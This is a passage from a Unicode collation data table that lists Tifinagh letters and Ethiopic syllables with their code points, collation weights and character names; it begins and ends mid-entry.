LETTER TUAREG YAGN +2D51 ; [.23F2.0020.0002] # TIFINAGH LETTER TUAREG YANG +2D52 ; [.23F3.0020.0002] # TIFINAGH LETTER YAP +2D53 ; [.23F4.0020.0002] # TIFINAGH LETTER YU +2D67 ; [.23F5.0020.0002] # TIFINAGH LETTER YO +2D54 ; [.23F6.0020.0002] # TIFINAGH LETTER YAR +2D55 ; [.23F7.0020.0002] # TIFINAGH LETTER YARR +2D56 ; [.23F8.0020.0002] # TIFINAGH LETTER YAGH +2D57 ; [.23F9.0020.0002] # TIFINAGH LETTER TUAREG YAGH +2D58 ; [.23FA.0020.0002] # TIFINAGH LETTER AYER YAGH +2D59 ; [.23FB.0020.0002] # TIFINAGH LETTER YAS +2D5A ; [.23FC.0020.0002] # TIFINAGH LETTER YASS +2D5B ; [.23FD.0020.0002] # TIFINAGH LETTER YASH +2D5C ; [.23FE.0020.0002] # TIFINAGH LETTER YAT +2D5D ; [.23FF.0020.0002] # TIFINAGH LETTER YATH +2D5E ; [.2400.0020.0002] # TIFINAGH LETTER YACH +2D5F ; [.2401.0020.0002] # TIFINAGH LETTER YATT +2D60 ; [.2402.0020.0002] # TIFINAGH LETTER YAV +2D61 ; [.2403.0020.0002] # TIFINAGH LETTER YAW +2D62 ; [.2404.0020.0002] # TIFINAGH LETTER YAY +2D63 ; [.2405.0020.0002] # TIFINAGH LETTER YAZ +2D64 ; [.2406.0020.0002] # TIFINAGH LETTER TAWELLEMET YAZ +2D65 ; [.2407.0020.0002] # TIFINAGH LETTER YAZZ +2D6F ; [.2408.0020.0002] # TIFINAGH MODIFIER LETTER LABIALIZATION MARK +1200 ; [.2409.0020.0002] # ETHIOPIC SYLLABLE HA +1201 ; [.240A.0020.0002] # ETHIOPIC SYLLABLE HU +1202 ; [.240B.0020.0002] # ETHIOPIC SYLLABLE HI +1203 ; [.240C.0020.0002] # ETHIOPIC SYLLABLE HAA +1204 ; [.240D.0020.0002] # ETHIOPIC SYLLABLE HEE +1205 ; [.240E.0020.0002] # ETHIOPIC SYLLABLE HE +1206 ; [.240F.0020.0002] # ETHIOPIC SYLLABLE HO +1207 ; [.2410.0020.0002] # ETHIOPIC SYLLABLE HOA +1208 ; [.2411.0020.0002] # ETHIOPIC SYLLABLE LA +1209 ; [.2412.0020.0002] # ETHIOPIC SYLLABLE LU +120A ; [.2413.0020.0002] # ETHIOPIC SYLLABLE LI +120B ; [.2414.0020.0002] # ETHIOPIC SYLLABLE LAA +120C ; [.2415.0020.0002] # ETHIOPIC SYLLABLE LEE +120D ; [.2416.0020.0002] # ETHIOPIC SYLLABLE LE +120E ; [.2417.0020.0002] # ETHIOPIC SYLLABLE LO +120F ; [.2418.0020.0002] # ETHIOPIC SYLLABLE LWA +2D80 ; [.2419.0020.0002] # ETHIOPIC SYLLABLE LOA +1210 ; [.241A.0020.0002] # ETHIOPIC SYLLABLE HHA +1211 ; [.241B.0020.0002] # ETHIOPIC SYLLABLE HHU +1212 ; [.241C.0020.0002] # ETHIOPIC SYLLABLE HHI +1213 ; [.241D.0020.0002] # ETHIOPIC SYLLABLE HHAA +1214 ; [.241E.0020.0002] # ETHIOPIC SYLLABLE HHEE +1215 ; [.241F.0020.0002] # ETHIOPIC SYLLABLE HHE +1216 ; [.2420.0020.0002] # ETHIOPIC SYLLABLE HHO +1217 ; [.2421.0020.0002] # ETHIOPIC SYLLABLE HHWA +1218 ; [.2422.0020.0002] # ETHIOPIC SYLLABLE MA +1219 ; [.2423.0020.0002] # ETHIOPIC SYLLABLE MU +121A ; [.2424.0020.0002] # ETHIOPIC SYLLABLE MI +121B ; [.2425.0020.0002] # ETHIOPIC SYLLABLE MAA +121C ; [.2426.0020.0002] # ETHIOPIC SYLLABLE MEE +121D ; [.2427.0020.0002] # ETHIOPIC SYLLABLE ME +121E ; [.2428.0020.0002] # ETHIOPIC SYLLABLE MO +121F ; [.2429.0020.0002] # ETHIOPIC SYLLABLE MWA +1380 ; [.242A.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT MWA +1381 ; [.242B.0020.0002] # ETHIOPIC SYLLABLE MWI +1382 ; [.242C.0020.0002] # ETHIOPIC SYLLABLE MWEE +1383 ; [.242D.0020.0002] # ETHIOPIC SYLLABLE MWE +2D81 ; [.242E.0020.0002] # ETHIOPIC SYLLABLE MOA +1220 ; [.242F.0020.0002] # ETHIOPIC SYLLABLE SZA +1221 ; [.2430.0020.0002] # ETHIOPIC SYLLABLE SZU +1222 ; [.2431.0020.0002] # ETHIOPIC SYLLABLE SZI +1223 ; [.2432.0020.0002] # ETHIOPIC SYLLABLE SZAA +1224 ; [.2433.0020.0002] # ETHIOPIC SYLLABLE SZEE +1225 ; [.2434.0020.0002] # ETHIOPIC SYLLABLE SZE +1226 ; [.2435.0020.0002] # ETHIOPIC SYLLABLE SZO +1227 ; [.2436.0020.0002] # ETHIOPIC SYLLABLE SZWA +1228 ; [.2437.0020.0002] # ETHIOPIC SYLLABLE RA +1229 ; [.2438.0020.0002] # ETHIOPIC SYLLABLE RU +122A ; [.2439.0020.0002] # ETHIOPIC SYLLABLE RI +122B ; [.243A.0020.0002] # ETHIOPIC SYLLABLE RAA +122C ; [.243B.0020.0002] # ETHIOPIC SYLLABLE REE +122D ; [.243C.0020.0002] # ETHIOPIC SYLLABLE RE +122E ; [.243D.0020.0002] # ETHIOPIC SYLLABLE RO +122F ; [.243E.0020.0002] # ETHIOPIC SYLLABLE RWA +2D82 ; [.243F.0020.0002] # ETHIOPIC SYLLABLE ROA +1230 ; [.2440.0020.0002] # ETHIOPIC SYLLABLE SA +1231 ; [.2441.0020.0002] # ETHIOPIC SYLLABLE SU +1232 ; [.2442.0020.0002] # ETHIOPIC SYLLABLE SI +1233 ; [.2443.0020.0002] # ETHIOPIC SYLLABLE SAA +1234 ; [.2444.0020.0002] # ETHIOPIC SYLLABLE SEE +1235 ; [.2445.0020.0002] # ETHIOPIC SYLLABLE SE +1236 ; [.2446.0020.0002] # ETHIOPIC SYLLABLE SO +1237 ; [.2447.0020.0002] # ETHIOPIC SYLLABLE SWA +2D83 ; [.2448.0020.0002] # ETHIOPIC SYLLABLE SOA +AB01 ; [.2449.0020.0002] # ETHIOPIC SYLLABLE TTHU +AB02 ; [.244A.0020.0002] # ETHIOPIC SYLLABLE TTHI +AB03 ; [.244B.0020.0002] # ETHIOPIC SYLLABLE TTHAA +AB04 ; [.244C.0020.0002] # ETHIOPIC SYLLABLE TTHEE +AB05 ; [.244D.0020.0002] # ETHIOPIC SYLLABLE TTHE +AB06 ; [.244E.0020.0002] # ETHIOPIC SYLLABLE TTHO +1238 ; [.244F.0020.0002] # ETHIOPIC SYLLABLE SHA +1239 ; [.2450.0020.0002] # ETHIOPIC SYLLABLE SHU +123A ; [.2451.0020.0002] # ETHIOPIC SYLLABLE SHI +123B ; [.2452.0020.0002] # ETHIOPIC SYLLABLE SHAA +123C ; [.2453.0020.0002] # ETHIOPIC SYLLABLE SHEE +123D ; [.2454.0020.0002] # ETHIOPIC SYLLABLE SHE +123E ; [.2455.0020.0002] # ETHIOPIC SYLLABLE SHO +123F ; [.2456.0020.0002] # ETHIOPIC SYLLABLE SHWA +2D84 ; [.2457.0020.0002] # ETHIOPIC SYLLABLE SHOA +1240 ; [.2458.0020.0002] # ETHIOPIC SYLLABLE QA +1241 ; [.2459.0020.0002] # ETHIOPIC SYLLABLE QU +1242 ; [.245A.0020.0002] # ETHIOPIC SYLLABLE QI +1243 ; [.245B.0020.0002] # ETHIOPIC SYLLABLE QAA +1244 ; [.245C.0020.0002] # ETHIOPIC SYLLABLE QEE +1245 ; [.245D.0020.0002] # ETHIOPIC SYLLABLE QE +1246 ; [.245E.0020.0002] # ETHIOPIC SYLLABLE QO +1247 ; [.245F.0020.0002] # ETHIOPIC SYLLABLE QOA +1248 ; [.2460.0020.0002] # ETHIOPIC SYLLABLE QWA +124A ; [.2461.0020.0002] # ETHIOPIC SYLLABLE QWI +124B ; [.2462.0020.0002] # ETHIOPIC SYLLABLE QWAA +124C ; [.2463.0020.0002] # ETHIOPIC SYLLABLE QWEE +124D ; [.2464.0020.0002] # ETHIOPIC SYLLABLE QWE +1250 ; [.2465.0020.0002] # ETHIOPIC SYLLABLE QHA +1251 ; [.2466.0020.0002] # ETHIOPIC SYLLABLE QHU +1252 ; [.2467.0020.0002] # ETHIOPIC SYLLABLE QHI +1253 ; [.2468.0020.0002] # ETHIOPIC SYLLABLE QHAA +1254 ; [.2469.0020.0002] # ETHIOPIC SYLLABLE QHEE +1255 ; [.246A.0020.0002] # ETHIOPIC SYLLABLE QHE +1256 ; [.246B.0020.0002] # ETHIOPIC SYLLABLE QHO +1258 ; [.246C.0020.0002] # ETHIOPIC SYLLABLE QHWA +125A ; [.246D.0020.0002] # ETHIOPIC SYLLABLE QHWI +125B ; [.246E.0020.0002] # ETHIOPIC SYLLABLE QHWAA +125C ; [.246F.0020.0002] # ETHIOPIC SYLLABLE QHWEE +125D ; [.2470.0020.0002] # ETHIOPIC SYLLABLE QHWE +1260 ; [.2471.0020.0002] # ETHIOPIC SYLLABLE BA +1261 ; [.2472.0020.0002] # ETHIOPIC SYLLABLE BU +1262 ; [.2473.0020.0002] # ETHIOPIC SYLLABLE BI +1263 ; [.2474.0020.0002] # ETHIOPIC SYLLABLE BAA +1264 ; [.2475.0020.0002] # ETHIOPIC SYLLABLE BEE +1265 ; [.2476.0020.0002] # ETHIOPIC SYLLABLE BE +1266 ; [.2477.0020.0002] # ETHIOPIC SYLLABLE BO +1267 ; [.2478.0020.0002] # ETHIOPIC SYLLABLE BWA +1384 ; [.2479.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT BWA +1385 ; [.247A.0020.0002] # ETHIOPIC SYLLABLE BWI +1386 ; [.247B.0020.0002] # ETHIOPIC SYLLABLE BWEE +1387 ; [.247C.0020.0002] # ETHIOPIC SYLLABLE BWE +2D85 ; [.247D.0020.0002] # ETHIOPIC SYLLABLE BOA +1268 ; [.247E.0020.0002] # ETHIOPIC SYLLABLE VA +1269 ; [.247F.0020.0002] # ETHIOPIC SYLLABLE VU +126A ; [.2480.0020.0002] # ETHIOPIC SYLLABLE VI +126B ; [.2481.0020.0002] # ETHIOPIC SYLLABLE VAA +126C ; [.2482.0020.0002] # ETHIOPIC SYLLABLE VEE +126D ; [.2483.0020.0002] # ETHIOPIC SYLLABLE VE +126E ; [.2484.0020.0002] # ETHIOPIC SYLLABLE VO +126F ; [.2485.0020.0002] # ETHIOPIC SYLLABLE VWA +1270 ; [.2486.0020.0002] # ETHIOPIC SYLLABLE TA +1271 ; [.2487.0020.0002] # ETHIOPIC SYLLABLE TU +1272 ; [.2488.0020.0002] # ETHIOPIC SYLLABLE TI +1273 ; [.2489.0020.0002] # ETHIOPIC SYLLABLE TAA +1274 ; [.248A.0020.0002] # ETHIOPIC SYLLABLE TEE +1275 ; [.248B.0020.0002] # ETHIOPIC SYLLABLE TE +1276 ; [.248C.0020.0002] # ETHIOPIC SYLLABLE TO +1277 ; [.248D.0020.0002] # ETHIOPIC SYLLABLE TWA +2D86 ; [.248E.0020.0002] # ETHIOPIC SYLLABLE TOA +1278 ; [.248F.0020.0002] # ETHIOPIC SYLLABLE CA +1279 ; [.2490.0020.0002] # ETHIOPIC SYLLABLE CU +127A ; [.2491.0020.0002] # ETHIOPIC SYLLABLE CI +127B ; [.2492.0020.0002] # ETHIOPIC SYLLABLE CAA +127C ; [.2493.0020.0002] # ETHIOPIC SYLLABLE CEE +127D ; [.2494.0020.0002] # ETHIOPIC SYLLABLE CE +127E ; [.2495.0020.0002] # ETHIOPIC SYLLABLE CO +127F ; [.2496.0020.0002] # ETHIOPIC SYLLABLE CWA +2D87 ; [.2497.0020.0002] # ETHIOPIC SYLLABLE COA +1280 ; [.2498.0020.0002] # ETHIOPIC SYLLABLE XA +1281 ; [.2499.0020.0002] # ETHIOPIC SYLLABLE XU +1282 ; [.249A.0020.0002] # ETHIOPIC SYLLABLE XI +1283 ; [.249B.0020.0002] # ETHIOPIC SYLLABLE XAA +1284 ; [.249C.0020.0002] # ETHIOPIC SYLLABLE XEE +1285 ; [.249D.0020.0002] # ETHIOPIC SYLLABLE XE +1286 ; [.249E.0020.0002] # ETHIOPIC SYLLABLE XO +1287 ; [.249F.0020.0002] # ETHIOPIC SYLLABLE XOA +1288 ; [.24A0.0020.0002] # ETHIOPIC SYLLABLE XWA +128A ; [.24A1.0020.0002] # ETHIOPIC SYLLABLE XWI +128B ; [.24A2.0020.0002] # ETHIOPIC SYLLABLE XWAA +128C ; [.24A3.0020.0002] # ETHIOPIC SYLLABLE XWEE +128D ; [.24A4.0020.0002] # ETHIOPIC SYLLABLE XWE +1290 ; [.24A5.0020.0002] # ETHIOPIC SYLLABLE NA +1291 ; [.24A6.0020.0002] # ETHIOPIC SYLLABLE NU +1292 ; [.24A7.0020.0002] # ETHIOPIC SYLLABLE NI +1293 ; [.24A8.0020.0002] # ETHIOPIC SYLLABLE NAA +1294 ; [.24A9.0020.0002] # ETHIOPIC SYLLABLE NEE +1295 ; [.24AA.0020.0002] # ETHIOPIC SYLLABLE NE +1296 ; [.24AB.0020.0002] # ETHIOPIC SYLLABLE NO +1297 ; [.24AC.0020.0002] # ETHIOPIC SYLLABLE NWA +2D88 ; [.24AD.0020.0002] # ETHIOPIC SYLLABLE NOA +1298 ; [.24AE.0020.0002] # ETHIOPIC SYLLABLE NYA +1299 ; [.24AF.0020.0002] # ETHIOPIC SYLLABLE NYU +129A ; [.24B0.0020.0002] # ETHIOPIC SYLLABLE NYI +129B ; [.24B1.0020.0002] # ETHIOPIC SYLLABLE NYAA +129C ; [.24B2.0020.0002] # ETHIOPIC SYLLABLE NYEE +129D ; [.24B3.0020.0002] # ETHIOPIC SYLLABLE NYE +129E ; [.24B4.0020.0002] # ETHIOPIC SYLLABLE NYO +129F ; [.24B5.0020.0002] # ETHIOPIC SYLLABLE NYWA +2D89 ; [.24B6.0020.0002] # ETHIOPIC SYLLABLE NYOA +12A0 ; [.24B7.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL A +12A1 ; [.24B8.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL U +12A2 ; [.24B9.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL I +12A3 ; [.24BA.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL AA +12A4 ; [.24BB.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL EE +12A5 ; [.24BC.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL E +12A6 ; [.24BD.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL O +12A7 ; [.24BE.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL WA +2D8A ; [.24BF.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL OA +12A8 ; [.24C0.0020.0002] # ETHIOPIC SYLLABLE KA +12A9 ; [.24C1.0020.0002] # ETHIOPIC SYLLABLE KU +12AA ; [.24C2.0020.0002] # ETHIOPIC SYLLABLE KI +12AB ; [.24C3.0020.0002] # ETHIOPIC SYLLABLE KAA +12AC ; [.24C4.0020.0002] # ETHIOPIC SYLLABLE KEE +12AD ; [.24C5.0020.0002] # ETHIOPIC SYLLABLE KE +12AE ; [.24C6.0020.0002] # ETHIOPIC SYLLABLE KO +12AF ; [.24C7.0020.0002] # ETHIOPIC SYLLABLE KOA +12B0 ; [.24C8.0020.0002] # ETHIOPIC SYLLABLE KWA +12B2 ; [.24C9.0020.0002] # ETHIOPIC SYLLABLE KWI +12B3 ; [.24CA.0020.0002] # ETHIOPIC SYLLABLE KWAA +12B4 ; [.24CB.0020.0002] # ETHIOPIC SYLLABLE KWEE +12B5 ; [.24CC.0020.0002] # ETHIOPIC SYLLABLE KWE +12B8 ; [.24CD.0020.0002] # ETHIOPIC SYLLABLE KXA +12B9 ; [.24CE.0020.0002] # ETHIOPIC SYLLABLE KXU +12BA ; [.24CF.0020.0002] # ETHIOPIC SYLLABLE KXI +12BB ; [.24D0.0020.0002] # ETHIOPIC SYLLABLE KXAA +12BC ; [.24D1.0020.0002] # ETHIOPIC SYLLABLE KXEE +12BD ; [.24D2.0020.0002] # ETHIOPIC SYLLABLE KXE +12BE ; [.24D3.0020.0002] # ETHIOPIC SYLLABLE KXO +12C0 ; [.24D4.0020.0002] # ETHIOPIC SYLLABLE KXWA +12C2 ; [.24D5.0020.0002] # ETHIOPIC SYLLABLE KXWI +12C3 ; [.24D6.0020.0002] # ETHIOPIC SYLLABLE KXWAA +12C4 ; [.24D7.0020.0002] # ETHIOPIC SYLLABLE KXWEE +12C5 ; [.24D8.0020.0002] # ETHIOPIC SYLLABLE KXWE +12C8 ; [.24D9.0020.0002] # ETHIOPIC SYLLABLE WA +12C9 ; [.24DA.0020.0002] # ETHIOPIC SYLLABLE WU +12CA ; [.24DB.0020.0002] # ETHIOPIC SYLLABLE WI +12CB ; [.24DC.0020.0002] # ETHIOPIC SYLLABLE WAA +12CC ; [.24DD.0020.0002] # ETHIOPIC SYLLABLE WEE +12CD ; [.24DE.0020.0002] # ETHIOPIC SYLLABLE WE +12CE ; [.24DF.0020.0002] # ETHIOPIC SYLLABLE WO +12CF ; [.24E0.0020.0002] # ETHIOPIC SYLLABLE WOA +12D0 ; [.24E1.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL A +12D1 ; [.24E2.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL U +12D2 ; [.24E3.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL I +12D3 ; [.24E4.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL AA +12D4 ; [.24E5.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL EE +12D5 ; [.24E6.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL E +12D6 ; [.24E7.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL O +12D8 ; [.24E8.0020.0002] # ETHIOPIC SYLLABLE ZA +12D9 ; [.24E9.0020.0002] # ETHIOPIC SYLLABLE ZU +12DA ; [.24EA.0020.0002] # ETHIOPIC SYLLABLE ZI +12DB ; [.24EB.0020.0002] # ETHIOPIC SYLLABLE ZAA +12DC ; [.24EC.0020.0002] # ETHIOPIC SYLLABLE ZEE +12DD ; [.24ED.0020.0002] # ETHIOPIC SYLLABLE ZE +12DE ; [.24EE.0020.0002] # ETHIOPIC SYLLABLE ZO +12DF ; [.24EF.0020.0002] # ETHIOPIC SYLLABLE ZWA +2D8B ; [.24F0.0020.0002] # ETHIOPIC SYLLABLE ZOA +AB11 ; [.24F1.0020.0002] # ETHIOPIC SYLLABLE DZU +AB12 ; [.24F2.0020.0002] # ETHIOPIC SYLLABLE DZI +AB13 ; [.24F3.0020.0002] # ETHIOPIC SYLLABLE DZAA +AB14 ; [.24F4.0020.0002] # ETHIOPIC SYLLABLE DZEE +AB15 ; [.24F5.0020.0002] # ETHIOPIC SYLLABLE DZE +AB16 ; [.24F6.0020.0002] # ETHIOPIC SYLLABLE DZO +12E0 ; [.24F7.0020.0002] # ETHIOPIC SYLLABLE ZHA +12E1 ; [.24F8.0020.0002] # ETHIOPIC SYLLABLE ZHU +12E2 ; [.24F9.0020.0002] # ETHIOPIC SYLLABLE ZHI +12E3 ; [.24FA.0020.0002] # ETHIOPIC SYLLABLE ZHAA +12E4 ; [.24FB.0020.0002] # ETHIOPIC SYLLABLE ZHEE +12E5 ; [.24FC.0020.0002] # ETHIOPIC SYLLABLE ZHE +12E6 ; [.24FD.0020.0002] # ETHIOPIC SYLLABLE ZHO +12E7 ; [.24FE.0020.0002] # ETHIOPIC SYLLABLE ZHWA +12E8 ; [.24FF.0020.0002] # ETHIOPIC SYLLABLE YA +12E9 ; [.2500.0020.0002] # ETHIOPIC SYLLABLE YU +12EA ; [.2501.0020.0002] # ETHIOPIC SYLLABLE YI +12EB ; [.2502.0020.0002] # ETHIOPIC SYLLABLE YAA +12EC ; [.2503.0020.0002] # ETHIOPIC SYLLABLE YEE +12ED ; [.2504.0020.0002] # ETHIOPIC SYLLABLE YE +12EE ; [.2505.0020.0002] # ETHIOPIC SYLLABLE YO +12EF ; [.2506.0020.0002] # ETHIOPIC SYLLABLE YOA +12F0 ; [.2507.0020.0002] # ETHIOPIC SYLLABLE DA +12F1 ; [.2508.0020.0002] # ETHIOPIC SYLLABLE DU +12F2 ; [.2509.0020.0002] # ETHIOPIC SYLLABLE DI +12F3 ; [.250A.0020.0002] # ETHIOPIC SYLLABLE DAA +12F4 ; [.250B.0020.0002] # ETHIOPIC SYLLABLE DEE +12F5 ; [.250C.0020.0002] # ETHIOPIC SYLLABLE DE +12F6 ; [.250D.0020.0002] # ETHIOPIC SYLLABLE DO +12F7 ; [.250E.0020.0002] # ETHIOPIC SYLLABLE DWA +2D8C ; [.250F.0020.0002] # ETHIOPIC SYLLABLE DOA +AB09 ; [.2510.0020.0002] # ETHIOPIC SYLLABLE DDHU +AB0A ; [.2511.0020.0002] # ETHIOPIC SYLLABLE DDHI +AB0B ; [.2512.0020.0002] # ETHIOPIC SYLLABLE DDHAA +AB0C ; [.2513.0020.0002] # ETHIOPIC SYLLABLE DDHEE +AB0D ; [.2514.0020.0002] # ETHIOPIC SYLLABLE DDHE +AB0E ; [.2515.0020.0002] # ETHIOPIC SYLLABLE DDHO +12F8 ; [.2516.0020.0002] # ETHIOPIC SYLLABLE DDA +12F9 ; [.2517.0020.0002] # ETHIOPIC SYLLABLE DDU +12FA ; [.2518.0020.0002] # ETHIOPIC SYLLABLE DDI +12FB ; [.2519.0020.0002] # ETHIOPIC SYLLABLE DDAA +12FC ; [.251A.0020.0002] # ETHIOPIC SYLLABLE DDEE +12FD ; [.251B.0020.0002] # ETHIOPIC SYLLABLE DDE +12FE ; [.251C.0020.0002] # ETHIOPIC SYLLABLE DDO +12FF ; [.251D.0020.0002] # ETHIOPIC SYLLABLE DDWA +2D8D ; [.251E.0020.0002] # ETHIOPIC SYLLABLE DDOA +1300 ; [.251F.0020.0002] # ETHIOPIC SYLLABLE JA +1301 ; [.2520.0020.0002] # ETHIOPIC SYLLABLE JU +1302 ; [.2521.0020.0002] # ETHIOPIC SYLLABLE JI +1303 ; [.2522.0020.0002] # ETHIOPIC SYLLABLE JAA +1304 ; [.2523.0020.0002] # ETHIOPIC SYLLABLE JEE +1305 ; [.2524.0020.0002] # ETHIOPIC SYLLABLE JE +1306 ; [.2525.0020.0002] # ETHIOPIC SYLLABLE JO +1307 ; [.2526.0020.0002] # ETHIOPIC SYLLABLE JWA +2D8E ; [.2527.0020.0002] # ETHIOPIC SYLLABLE JOA +1308 ; [.2528.0020.0002] # ETHIOPIC SYLLABLE GA +1309 ; [.2529.0020.0002] # ETHIOPIC SYLLABLE GU +130A ; [.252A.0020.0002] # ETHIOPIC SYLLABLE GI +130B ; [.252B.0020.0002] # ETHIOPIC SYLLABLE GAA +130C ; [.252C.0020.0002] # ETHIOPIC SYLLABLE GEE +130D ; [.252D.0020.0002] # ETHIOPIC SYLLABLE GE +130E ; [.252E.0020.0002] # ETHIOPIC SYLLABLE GO +130F ; [.252F.0020.0002] # ETHIOPIC SYLLABLE GOA +1310 ; [.2530.0020.0002] # ETHIOPIC SYLLABLE GWA +1312 ; [.2531.0020.0002] # ETHIOPIC SYLLABLE GWI +1313 ; [.2532.0020.0002] # ETHIOPIC SYLLABLE GWAA +1314 ; [.2533.0020.0002] # ETHIOPIC SYLLABLE GWEE +1315 ; [.2534.0020.0002] # ETHIOPIC SYLLABLE GWE +1318 ; [.2535.0020.0002] # ETHIOPIC SYLLABLE GGA +1319 ; [.2536.0020.0002] # ETHIOPIC SYLLABLE GGU +131A ; [.2537.0020.0002] # ETHIOPIC SYLLABLE GGI +131B ; [.2538.0020.0002] # ETHIOPIC SYLLABLE GGAA +131C ; [.2539.0020.0002] # ETHIOPIC SYLLABLE GGEE +131D ; [.253A.0020.0002] # ETHIOPIC SYLLABLE GGE +131E ; [.253B.0020.0002] # ETHIOPIC SYLLABLE GGO +131F ; [.253C.0020.0002] # ETHIOPIC SYLLABLE GGWAA +2D93 ; [.253D.0020.0002] # ETHIOPIC SYLLABLE GGWA +2D94 ; [.253E.0020.0002] # ETHIOPIC SYLLABLE GGWI +2D95 ; [.253F.0020.0002] # ETHIOPIC SYLLABLE GGWEE +2D96 ; [.2540.0020.0002] # ETHIOPIC SYLLABLE GGWE +1320 ; [.2541.0020.0002] # ETHIOPIC SYLLABLE THA +1321 ; [.2542.0020.0002] # ETHIOPIC SYLLABLE THU +1322 ; [.2543.0020.0002] # ETHIOPIC SYLLABLE THI +1323 ; [.2544.0020.0002] # ETHIOPIC SYLLABLE THAA +1324 ; [.2545.0020.0002] # ETHIOPIC SYLLABLE THEE +1325 ; [.2546.0020.0002] # ETHIOPIC SYLLABLE THE +1326 ; [.2547.0020.0002] # ETHIOPIC SYLLABLE THO +1327 ; [.2548.0020.0002] # ETHIOPIC SYLLABLE THWA +2D8F ; [.2549.0020.0002] # ETHIOPIC SYLLABLE THOA +1328 ; [.254A.0020.0002] # ETHIOPIC SYLLABLE CHA +1329 ; [.254B.0020.0002] # ETHIOPIC SYLLABLE CHU +132A ; [.254C.0020.0002] # ETHIOPIC SYLLABLE CHI +132B ; [.254D.0020.0002] # ETHIOPIC SYLLABLE CHAA +132C ; [.254E.0020.0002] # ETHIOPIC SYLLABLE CHEE +132D ; [.254F.0020.0002] # ETHIOPIC SYLLABLE CHE +132E ; [.2550.0020.0002] # ETHIOPIC SYLLABLE CHO +132F ; [.2551.0020.0002] # ETHIOPIC SYLLABLE CHWA +2D90 ; [.2552.0020.0002] # ETHIOPIC SYLLABLE CHOA +AB20 ; [.2553.0020.0002] # ETHIOPIC SYLLABLE CCHHA +AB21 ; [.2554.0020.0002] # ETHIOPIC SYLLABLE CCHHU +AB22 ; [.2555.0020.0002] # ETHIOPIC SYLLABLE CCHHI +AB23 ; [.2556.0020.0002] # ETHIOPIC SYLLABLE CCHHAA +AB24 ; [.2557.0020.0002] # ETHIOPIC SYLLABLE CCHHEE +AB25 ; [.2558.0020.0002] # ETHIOPIC SYLLABLE CCHHE +AB26 ; [.2559.0020.0002] # ETHIOPIC SYLLABLE CCHHO +1330 ; [.255A.0020.0002] # ETHIOPIC SYLLABLE PHA +1331 ; [.255B.0020.0002] # ETHIOPIC SYLLABLE PHU +1332 ; [.255C.0020.0002] # ETHIOPIC SYLLABLE PHI +1333 ; [.255D.0020.0002] # ETHIOPIC SYLLABLE PHAA +1334 ; [.255E.0020.0002] # ETHIOPIC SYLLABLE PHEE +1335 ; [.255F.0020.0002] # ETHIOPIC SYLLABLE PHE +1336 ; [.2560.0020.0002] # ETHIOPIC SYLLABLE PHO +1337 ; [.2561.0020.0002] # ETHIOPIC SYLLABLE PHWA +2D91 ; [.2562.0020.0002] # ETHIOPIC SYLLABLE PHOA +1338 ; [.2563.0020.0002] # ETHIOPIC SYLLABLE TSA +1339 ; [.2564.0020.0002] # ETHIOPIC SYLLABLE TSU +133A ; [.2565.0020.0002] # ETHIOPIC SYLLABLE TSI +133B ; [.2566.0020.0002] # ETHIOPIC SYLLABLE TSAA +133C ; [.2567.0020.0002] # ETHIOPIC SYLLABLE TSEE +133D ; [.2568.0020.0002] # ETHIOPIC SYLLABLE TSE +133E ; [.2569.0020.0002] # ETHIOPIC SYLLABLE TSO +133F ; [.256A.0020.0002] # ETHIOPIC SYLLABLE TSWA +AB28 ; [.256B.0020.0002] # ETHIOPIC SYLLABLE BBA +AB29 ; [.256C.0020.0002] # ETHIOPIC SYLLABLE BBU +AB2A ; [.256D.0020.0002] # ETHIOPIC SYLLABLE BBI +AB2B ; [.256E.0020.0002] # ETHIOPIC SYLLABLE BBAA +AB2C ; [.256F.0020.0002] # ETHIOPIC SYLLABLE BBEE +AB2D ; [.2570.0020.0002] # ETHIOPIC SYLLABLE BBE +AB2E ; [.2571.0020.0002] # ETHIOPIC SYLLABLE BBO +1340 ; [.2572.0020.0002] # ETHIOPIC SYLLABLE TZA +1341 ; [.2573.0020.0002] # ETHIOPIC SYLLABLE TZU +1342 ; [.2574.0020.0002] # ETHIOPIC SYLLABLE TZI +1343 ; [.2575.0020.0002] # ETHIOPIC SYLLABLE TZAA +1344 ; [.2576.0020.0002] # ETHIOPIC SYLLABLE TZEE +1345 ; [.2577.0020.0002] # ETHIOPIC SYLLABLE TZE +1346 ; [.2578.0020.0002] # ETHIOPIC SYLLABLE TZO +1347 ; [.2579.0020.0002] # ETHIOPIC SYLLABLE TZOA +1348 ; [.257A.0020.0002] # ETHIOPIC SYLLABLE FA +1349 ; [.257B.0020.0002] # ETHIOPIC SYLLABLE FU +134A ; [.257C.0020.0002] # ETHIOPIC SYLLABLE FI +134B ; [.257D.0020.0002] # ETHIOPIC SYLLABLE FAA +134C ; [.257E.0020.0002] # ETHIOPIC SYLLABLE FEE +134D ; [.257F.0020.0002] # ETHIOPIC SYLLABLE FE +134E ; [.2580.0020.0002] # ETHIOPIC SYLLABLE FO +134F ; [.2581.0020.0002] # ETHIOPIC SYLLABLE FWA +1388 ; [.2582.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT FWA +1389 ; [.2583.0020.0002] # ETHIOPIC SYLLABLE FWI +138A ; [.2584.0020.0002] # ETHIOPIC SYLLABLE FWEE +138B ; [.2585.0020.0002] # ETHIOPIC SYLLABLE FWE +1350 ; [.2586.0020.0002] # ETHIOPIC SYLLABLE PA +1351 ; [.2587.0020.0002] # ETHIOPIC SYLLABLE PU +1352 ; [.2588.0020.0002] # ETHIOPIC SYLLABLE PI +1353 ; [.2589.0020.0002] # ETHIOPIC SYLLABLE PAA +1354 ; [.258A.0020.0002] # ETHIOPIC SYLLABLE PEE +1355 ; [.258B.0020.0002] # 